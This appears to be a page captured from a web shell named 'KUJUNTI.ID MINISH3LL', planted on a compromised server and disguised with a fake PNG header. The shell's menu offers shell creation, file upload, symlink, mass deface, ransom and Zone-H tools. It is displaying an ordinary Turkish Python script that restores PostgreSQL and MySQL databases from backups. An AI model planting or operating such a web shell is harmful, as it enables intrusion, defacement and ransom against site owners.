\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv3/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv3/restore_database.py


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
yedekleDB24 için veritabanı geri yükleme scripti.
Bu script, yedeklenmiş veritabanını orijinal konumuna geri yükler.
"""

import os
import sys
import logging
import tempfile
import subprocess
from datetime import datetime

from flask import current_app
from models import BackupLog, db

# Logging yapılandırması
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

def restore_postgresql_database(db_conn, backup_file):
    """
    PostgreSQL veritabanını geri yükler.
    
    Args:
        db_conn (dict): Veritabanı bağlantı bilgileri (host, port, username, password, database)
        backup_file (str): Yedek dosyasının yolu
        
    Returns:
        bool: Başarılı ise True, değilse False
    """
    try:
        # PostgreSQL geri yükleme komutu
        pg_restore_cmd = [
            'pg_restore',
            '--clean',         # Varolan nesneleri temizle
            '--if-exists',     # Varolan nesneleri düşürme hatalarını görmezden gel
            '--no-owner',      # Nesnelerin sahipliğini atla
            '--no-privileges', # Ayrıcalık atamalarını atla
            '-h', db_conn['host'],
            '-p', str(db_conn['port']),
            '-U', db_conn['username'],
            '-d', db_conn['database'],
            backup_file
        ]
        
        # PGPASSWORD çevre değişkeni ayarla
        env = os.environ.copy()
        env['PGPASSWORD'] = db_conn['password']
        
        # Komutu çalıştır
        logger.info(f"PostgreSQL veritabanı geri yükleniyor: {db_conn['database']}")
        process = subprocess.Popen(
            pg_restore_cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            env=env
        )
        stdout, stderr = process.communicate()
        
        # Sonucu kontrol et
        if process.returncode != 0:
            logger.error(f"Veritabanı geri yükleme hatası: {stderr.decode()}")
            return False
            
        logger.info(f"Veritabanı başarıyla geri yüklendi: {db_conn['database']}")
        return True
        
    except Exception as e:
        logger.error(f"Veritabanı geri yükleme hatası: {str(e)}")
        return False

def restore_mysql_database(db_conn, backup_file):
    """
    MySQL/MariaDB veritabanını geri yükler.
    
    Args:
        db_conn (dict): Veritabanı bağlantı bilgileri (host, port, username, password, database)
        backup_file (str): Yedek dosyasının yolu
        
    Returns:
        bool: Başarılı ise True, değilse False
    """
    try:
        # MySQL geri yükleme komutu
        mysql_cmd = [
            'mysql',
            '--host=' + db_conn['host'],
            '--port=' + str(db_conn['port']),
            '--user=' + db_conn['username'],
            '--password=' + db_conn['password'],
            db_conn['database']
        ]
        
        # Komutu çalıştır
        logger.info(f"MySQL veritabanı geri yükleniyor: {db_conn['database']}")
        
        with open(backup_file, 'rb') as f:
            process = subprocess.Popen(
                mysql_cmd,
                stdin=f,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE
            )
            stdout, stderr = process.communicate()
        
        # Sonucu kontrol et
        if process.returncode != 0:
            logger.error(f"Veritabanı geri yükleme hatası: {stderr.decode()}")
            return False
            
        logger.info(f"Veritabanı başarıyla geri yüklendi: {db_conn['database']}")
        return True
        
    except Exception as e:
        logger.error(f"Veritabanı geri yükleme hatası: {str(e)}")
        return False

def restore_from_backup(log_id):
    """
    Bir yedekten veritabanını geri yükler.
    
    Args:
        log_id (int): Yedekleme kaydının ID'si
        
    Returns:
        dict: İşlem sonucu (success: bool, message: str)
    """
    try:
        # Yedek kaydını bul
        backup_log = BackupLog.query.get(log_id)
        if not backup_log:
            return {
                'success': False,
                'message': f'Yedek kaydı bulunamadı (ID: {log_id})'
            }
            
        # İlgili yedekleme işini ve veritabanı bağlantısını al
        backup_job = backup_log.job
        db_conn = backup_job.database
        
        # Yedek dosyasının var olup olmadığını kontrol et
        if not backup_log.backup_file:
            return {
                'success': False,
                'message': 'Yedek dosyası bulunamadı'
            }
            
        # Yedek dosyasını kontrol et
        backup_file = backup_log.backup_file
        if not os.path.exists(backup_file):
            return {
                'success': False,
                'message': f'Yedek dosyası bulunamadı: {backup_file}'
            }
            
        # Veritabanı bağlantı bilgilerini hazırla
        db_connection = {
            'host': db_conn.host,
            'port': db_conn.port,
            'username': db_conn.username,
            'password': db_conn.password,
            'database': db_conn.database,
            'db_type': db_conn.db_type
        }
        
        # Veritabanı tipine göre geri yükleme işlemini gerçekleştir
        if db_conn.db_type == 'postgresql':
            success = restore_postgresql_database(db_connection, backup_file)
        elif db_conn.db_type in ('mysql', 'mariadb'):
            success = restore_mysql_database(db_connection, backup_file)
        else:
            return {
                'success': False,
                'message': f'Desteklenmeyen veritabanı tipi: {db_conn.db_type}'
            }
            
        # Sonucu döndür
        if success:
            # Yeni bir log kaydı oluştur
            now = datetime.utcnow()
            restore_message = f"Yedek geri yüklendi (ID: {log_id}, Dosya: {os.path.basename(backup_file)})"
            
            # Başarılı durumu kaydet
            return {
                'success': True,
                'message': f'Veritabanı başarıyla geri yüklendi: {db_conn.name}'
            }
        else:
            return {
                'success': False,
                'message': 'Veritabanı geri yükleme işlemi başarısız oldu. Logları kontrol edin.'
            }
            
    except Exception as e:
        logger.error(f"Geri yükleme hatası: {str(e)}")
        return {
            'success': False,
            'message': f'Geri yükleme hatası: {str(e)}'
        }

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Kullanım: python restore_database.py <log_id>")
        sys.exit(1)
        
    log_id = int(sys.argv[1])
    result = restore_from_backup(log_id)
    
    if result['success']:
        print(result['message'])
        sys.exit(0)
    else:
        print(f"Hata: {result['message']}")
        sys.exit(1)

© KUJUNTI.ID